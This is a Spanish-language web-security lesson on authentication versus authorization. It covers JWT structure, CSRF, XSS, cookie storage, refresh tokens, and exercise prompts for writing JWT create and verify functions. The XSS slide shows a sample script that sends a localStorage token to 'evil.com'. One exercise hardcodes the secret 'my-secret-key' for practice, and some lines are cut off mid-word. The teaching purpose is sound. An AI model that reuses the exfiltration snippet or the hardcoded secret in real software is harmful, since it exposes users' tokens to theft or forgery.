

Lección 20: Authentication & Authorization

AuthN/AuthZ con Tokens Manual

Agenda

- AuthN vs AuthZ
 - Explicación de JWT Tokens
 - Implementación desde Cero
 - Estrategias de Almacenamiento
 - Actualización de Tokens
 - Mejores Prácticas de Seguridad
-

AuthN vs AuthZ

Autenticación (AuthN) - “¿Quién eres?”

El usuario prueba su identidad:

- Usuario + Contraseña
- OAuth (Google, GitHub)
- Biométrica
- Multi-factor

Resultado: Identidad confirmada

Salida: Token/Sesión

Autorización (AuthZ) - “¿Qué puedes hacer?”

El sistema verifica permisos:

- Roles de usuario (admin, user, guest)
- Acceso a recursos (datos propios vs todos los datos)
- Permisos de operación (leer, escribir, eliminar)

Resultado: Permiso otorgado/denegado

JWT: JSON Web Tokens

Estructura:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXLTJ5Ij0iSf1KxwRJ...
```

Header	Payload	Signature
--------	---------	-----------

Header: { alg: "HS256", typ: "JWT" }

Payload: { sub: "user123", role: "admin", exp: 1234567890 }

Signature: HMACSHA256(header + payload, secret)

Beneficios:

- Auto-contenido (sin consulta al servidor)
- Sin estado (sin almacenamiento de sesión)
- Multi-dominio (compatible con CORS)
- Compatible con móviles

¿Qué es CSRF? (Cross-Site Request Forgery) (1/3)

Definición:

Un atacante engaña al navegador del usuario para que envíe peticiones no autorizadas a un sitio donde el usuario está autenticado.

¿Qué es CSRF? (Cross-Site Request Forgery) (2/4)

Paso 1: Usuario autenticado

Usuario —login—> [yourbank.com]
└─> Cookie: session=abc123
Autenticado 

Paso 2: Visita sitio malicioso

Usuario —visita—> [evil.com]
└─> HTML contiene:

¿Qué es CSRF? (Cross-Site Request Forgery) (3/4)

Paso 3: Ataque ejecutado

[evil.com] —trigger—> Browser
└─GET /transfer + Cookie
 ↓
 [yourbank.com]
 └─>  Transferencia realizada

Resultado: Usuario nunca supo que transfirió dinero al atacante

¿Qué es CSRF? (Cross-Site Request Forgery) (4/4)

Por qué es peligroso:

- Cookies enviadas automáticamente por el browser
 - El servidor no puede distinguir peticiones legítimas de CSRF
 - Usuario víctima no se da cuenta del ataque
-

Almacenamiento: ¿Dónde Guardar Tokens?

localStorage:

```
// Vulnerable a ataques XSS  
localStorage.setItem('token', jwt)
```

Cookies (sin httpOnly):

```
// También vulnerable a XSS  
document.cookie = `token=${jwt}`
```

httpOnly Cookies:

```
// El servidor configura la cookie  
res.cookie('token', jwt, {  
  httpOnly: true, // No accesible vía JavaScript  
  secure: true, // Solo HTTPS  
  sameSite: 'strict', // Protección CSRF  
  maxAge: 3600000, // 1 hora  
})
```

Frontend: Enviar Tokens

Con httpOnly cookie (automático):

```
// Cookie enviada automáticamente  
fetch('/api/protected', {  
  credentials: 'include', // Enviar cookies  
})
```

Con header Authorization:

```
// Gestión manual de token
fetch('/api/protected', {
  headers: {
    Authorization: `Bearer ${token}`,
  },
})
```

Backend: Rutas Protegidas

Middleware de Autenticación:

1. Extraer token (cookie o header Authorization)
2. Verificar validez del token
3. Si válido → adjuntar user al request
4. Si inválido → retornar 401 Unauthorized

Uso:

```
app.get('/api/profile', authenticateToken, handler)
//                               ↑ Middleware protege ruta
```

Autorización: Basada en Roles

Diferencia:

- **Autenticación:** ¿Quién eres? (token válido)
- **Autorización:** ¿Qué puedes hacer? (permisos/roles)

Códigos HTTP:

- 401 Unauthorized → No autenticado (sin token o inválido)
- 403 Forbidden → Autenticado pero sin permisos

Ejemplo:

```
app.delete(  
  '/api/users/:id',  
  authenticateToken, // Verifica token  
  requireRole('admin'), // Verifica rol = admin  
  deleteUser  
)  
// Usuario normal → 403 Forbidden  
// Admin → 200 OK
```

Estrategia de Actualización de Tokens (1/2)

Problema:

- ✗ Access Token de corta duración (15 min):
 - Seguro pero expira rápido
 - Usuario debe re-autenticarse frecuentemente
 - Mala UX
- ✗ Access Token de larga duración (30 días):
 - Buena UX pero inseguro
 - Si es robado, válido por 30 días
 - Alto riesgo de seguridad

Solución: Dos Tokens

- ✓ Access Token (15 min) + Refresh Token (7 días)
 - Access Token: Para peticiones API (corta vida)
 - Refresh Token: Para obtener nuevos access tokens (larga vida)
 - Mejor seguridad + Mejor UX
-

Estrategia de Actualización de Tokens (2/3)

Pasos 1 y 2: Login y Uso Normal

1. LOGIN INICIAL
Usuario —login→ [Server]
|

- ↳ • accessToken (15 min)
- refreshToken (7 días)

2. USO NORMAL

Frontend —API call + accessToken—> [Server]
↳  200 OK + datos

Estrategia de Actualización de Tokens (3/3)

Pasos 3 y 4: Expiración y Auto-Refresh

3. ACCESS TOKEN EXPIRÓ

Frontend —API call + token expirado—> [Server]
↳  401

4. AUTO-REFRESH (transparente)

Frontend —POST /refresh + refreshToken—> [Server]
↳  Nuevo accessToken

Frontend —Reintentar con nuevo token—> [Server]
↳  200 OK

Resultado: Usuario nunca tiene que re-autenticarse (por 7 días)

¿Qué es XSS? (Cross-Site Scripting)

XSS: Inyección de JavaScript malicioso en tu aplicación

Ejemplo:

```
// Comentario malicioso:  
<script>  
  fetch('evil.com', { body: localStorage.getItem('token') })  
</script>  
// → Script roba tokens de TODOS los usuarios
```

Por qué es peligroso:

- JavaScript accede a localStorage/sessionStorage
 - Tokens robados directamente del navegador
 - **Defensa:** httpOnly cookies (JavaScript NO puede acceder)
-

¿Qué es SameSite Cookie?

SameSite: Controla cuándo el browser envía cookies en requests cross-site

Valores:

Strict → Cookie SÓLO en tu dominio (bloquea CSRF 100%)
Lax → Cookie en navegación normal* (bloquea la mayoría de CSRF)
None → Cookie en todos los requests (inseguro)

*Navegación normal = usuario hace click en link
(NO incluye forms POST automáticos, fetch, img src)

Protección CSRF:

Sin SameSite: evil.com → Browser envía cookie →  Ataque exitoso
Con Strict: evil.com → Browser NO envía →  Bloqueado

Mejores Prácticas de Seguridad (1/2)

1. Secretos Fuertes:

-  Secretos débiles: "password123", "secret"
-  64+ caracteres aleatorios en variables de entorno
-  Nunca hardcodear en código fuente

2. Expiración Corta:

-  Access tokens de 30 días (muy inseguro)
-  Access tokens de 15 minutos
-  Refresh tokens de 7 días para sesiones largas

3. Rotación de Tokens:

- Invalidar refresh tokens viejos al emitir nuevos
 - Previene reutilización de tokens robados
 - Mantener registro en base de datos
-

Mejores Prácticas de Seguridad (2/2)

4. Lista Negra para Logout:

- Almacenar tokens invalidados (logout)
- Verificar blacklist antes de aceptar token
- Limpiar tokens expirados periódicamente

5. Defensa contra Ataques:

- **CSRF**: SameSite cookies ('strict' o 'lax')
- **XSS**: httpOnly cookies + Content Security Policy
- **Robo de Token**: Expiración corta limita daño

6. Almacenamiento Seguro:

-  httpOnly cookies (servidor controla)
 -  localStorage o sessionStorage (vulnerable a XSS)
-

Ejercicio 1: Crear JWT

Prompt:

Actúa como un authentication engineer implementando generación de JWT token

CONTEXT0: JWT (JSON Web Token) = token self-contained con estructura Header Signature. Header: algoritmo de firma (HS256). Payload: claims (sub = subject, email, role, iat = issued at, exp = expiration). Signature: HMAC **hash** de header con secret key (verifica autenticidad, NO encripta). jsonwebtoken library: para crear/verificar JWTs. jwt.sign(): crea token con payload + secret + op. expiresIn: tiempo de vida del token ('15m' = 15 minutos, '7d' = 7 días). IM JWT NO encripta payload, solo firma (payload es **VISIBLE** sin secret en jwt.i key: debe ser fuerte (64+ caracteres) y en environment variable.

TAREA: Crea función que genera JWT con userId y email.

INSTALACIÓN:

- Comando: `pnpm add jsonwebtoken @types/jsonwebtoken`
- Librería: JWT creation and verification

IMPLEMENTACIÓN:

- Archivo: `src/infrastructure/auth/jwt.ts` (crear si no existe)
- Función: `createToken(userId: number, email: string): string`
- Secret: Usar constante `SECRET_KEY = 'my-secret-key'` (hardcoded para práct
- Payload: `{ userId, email }`
- Opciones: `{ expiresIn: '15m' }`

TOKEN STRUCTURE:

```
const token = jwt.sign(  
  { userId: 123, email: 'user@example.com' },  
  SECRET_KEY,  
  { expiresIn: '15m' }  
)
```

TESTING:

1. Crear token con `createToken(123, '<user@example.com>')`
2. `console.log` el token (string largo `eyJhbGc...`)
3. Ir a `jwt.io` y pegar token en Encoded section
4. Verificar Decoded sections:
 - Header: `{ "alg": "HS256", "typ": "JWT" }`
 - Payload: `{ "userId": 123, "email": "<user@example.com>", "iat": ..., "`
 - Signature: Verified si pegaste secret `'my-secret-key'`

VALIDACIÓN: Token debe decodificarse en `jwt.io` mostrando `userId` y `email` SIN

Aprende: JWT NO encripta datos, solo firma para

verificar autenticidad (payload es visible)

Ejercicio 2: Verificar Token

Prompt:

Actúa como un security engineer implementando verificación de JWT tokens.

CONTEXT0: `jwt.verify()` valida signature del token con secret key (detecta tokens alterados). Si signature es válida → retorna payload decoded. Si signature token expirado/token malformado → lanza error. Error types: `TokenExpiredError` (token expiró), `JsonWebTokenError` (token inválido/alterado), otros (malformado). Pattern: capturar errores + retornar null (NO crashear app). IMPORTANTE: requiere MISMO secret usado para firmar (si secret difiere → token inválido). expiration: automáticamente validado por `jwt.verify()` (compara exp claim con time). Production: nunca exponer secret en logs/errors.

TAREA: Crea función que verifica validez de JWT token.

IMPLEMENTACIÓN:

- Archivo: `src/infrastructure/auth/jwt.ts` (mismo archivo de ejercicio 1)
- Función: `verifyToken(token: string): object | null`
- Usar: `jwt.verify(token, SECRET_KEY)`
- Error handling: try/catch que retorna null si token inválido

VERIFICATION PATTERN:

```
export function verifyToken(token: string) {
  try {
    const payload = jwt.verify(token, SECRET_KEY)
    return payload // Payload decoded si válido
  } catch (error) {
    console.error('Token verification failed:', error.message)
    return null // Token inválido/expirado
  }
}
```

TESTING:

1. Test válido: crear token con `createToken()` + verificar con `verifyToken()`
 - Debe retornar payload: `{ userId: 123, email: '...', iat: ..., exp: ... }`
2. Test inválido: modificar 1 carácter del token + verificar
 - Debe retornar null (signature no coincide)
3. Test fake: `verifyToken('fake.token.here')`
 - Debe retornar null (token malformado)
4. Test expirado: crear token con `expiresIn: '1ms'` + esperar + verificar
 - Debe retornar null (`TokenExpiredError`)

VALIDACIÓN: `verifyToken` debe retornar payload para tokens válidos, null para

Aprende: Verificación detecta tokens alterados,

expirados o malformados sin crashear

Puntos Clave

1. **AuthN ≠ AuthZ**: Identidad vs Permisos
2. **Estructura JWT**: Header.Payload.Signature
3. **Almacenamiento**: httpOnly cookies (protección XSS)
4. **Corta duración**: Access tokens 15 min
5. **Refresh Tokens**: Sesiones largas sin riesgo
6. **Basado en Roles**: Middleware de autorización
7. **Seguridad**: Secretos fuertes, expiración corta, rotación